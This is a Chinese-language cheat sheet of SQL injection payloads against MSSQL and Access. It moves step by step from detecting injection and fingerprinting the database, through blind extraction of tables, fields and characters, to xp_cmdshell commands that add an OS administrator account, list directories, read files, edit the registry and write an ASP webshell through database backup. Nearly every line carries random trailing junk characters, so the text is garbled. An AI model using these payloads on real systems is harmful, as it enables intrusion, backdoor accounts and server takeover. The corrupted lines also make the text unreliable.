1.判断是否有注入;and 1=1 ;and 1=2 'I~dJEW7
2.初步判断是否是mssql ;and user>0 9C.cz\E
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3.注入参数是字符'and [查询条件] and ''=' meL'toaJdQ
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' JU@$(
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5.判断数据库系统 ,*4"d._Y
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;and (select count(*) from sysobjects)>0 mssql $>UzXhf}\
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;and (select count(*) from msysobjects)>0 access 7S`H?},sR
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 i/~J0qQ
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 39j d}]e
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 "Pc,+>vh
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9.(1)猜字段的ascii值(access) R}>Do=hAO
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 6{
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(2)猜字段的ascii值(mssql) ~30Wb9eL
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
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10.测试权限结构(mssql) Bkc-iC}F
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- xgz87d/<:
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- l5[xJH
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- %7#Zb '
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- L{f>;[FR
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- (J&Xo.<Z-
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- e<4z)
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;and 1=(select IS_MEMBER('db_owner'));-- NE3wui1 V
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11.添加mssql和系统的帐户 'w[d^L
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;exec master.dbo.sp_addlogin username;-- e6HlOGPVQH
;exec master.dbo.sp_password null,username,password;-- i\;&CzC:
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- O'-Zn]@.]
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;exec master.dbo.xp_cmdshell 'net user username password 0 jP00
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- B"m:<@ "
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- i @9Qb
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- &]6K]sWJK{
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12.(1)遍历目录 W(a'^
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;create table dirs(paths varchar(100), id int) l8xd73D)8
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;insert dirs exec master.dbo.xp_dirtree 'c:\' ;Nf hKu%K
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;and (select top 1 paths from dirs)>0 ?PE1aB+{:
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) vg:J#M:
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(2)遍历目录 )_b@~fC
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- E8iadf49
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 86[RH!e
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 dVVvG]
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 >OKS/(I0
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 ZaRr2Z:!
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13.mssql中的存储过程 yo?g"vbE
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xp_regenumvalues 注册表根键, 子键 ]O[+c*|w
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 r\l3_t
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xp_regread 根键,子键,键值名 !X\sQNp
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;exec xp_regread s=q%:uCO
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 [NCXn>Z
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xp_regwrite 根键,子键, 值名, 值类型, 值 vGPf`2/j.
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 taWirqd9
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 7E!";HT
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xp_regdeletevalue 根键,子键,值名 oN&rq6eN
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 ]Efh(Gb]
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 1kvPiV=X>
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14.mssql的backup创建webshell -(/2_&"
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use model <t?x 'r?@
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create table cmd(str image); ; d, JN
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insert into cmd(str) values (''); YiIddQ
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backup database model to disk='c:\l.asp'; .KT 7le<Zm
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15.mssql内置函数 8~&F/C*
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;and (select @@version)>0 获得Windows的版本号 `YFkY^T
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa l1-4n*fU
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;and (select user_name())>0 爆当前系统的连接用户 [ E$$nNs
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;and (select db_name())>0 得到当前连接的数据库 DHh+%|e
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16.简洁的webshell paq8L{R
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use model
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create table cmd(str image); ~fyF&+ibp'
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insert into cmd(str) values (''); z{Hz;m:*_
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backup database model to disk='g:\wwwtest\l.asp';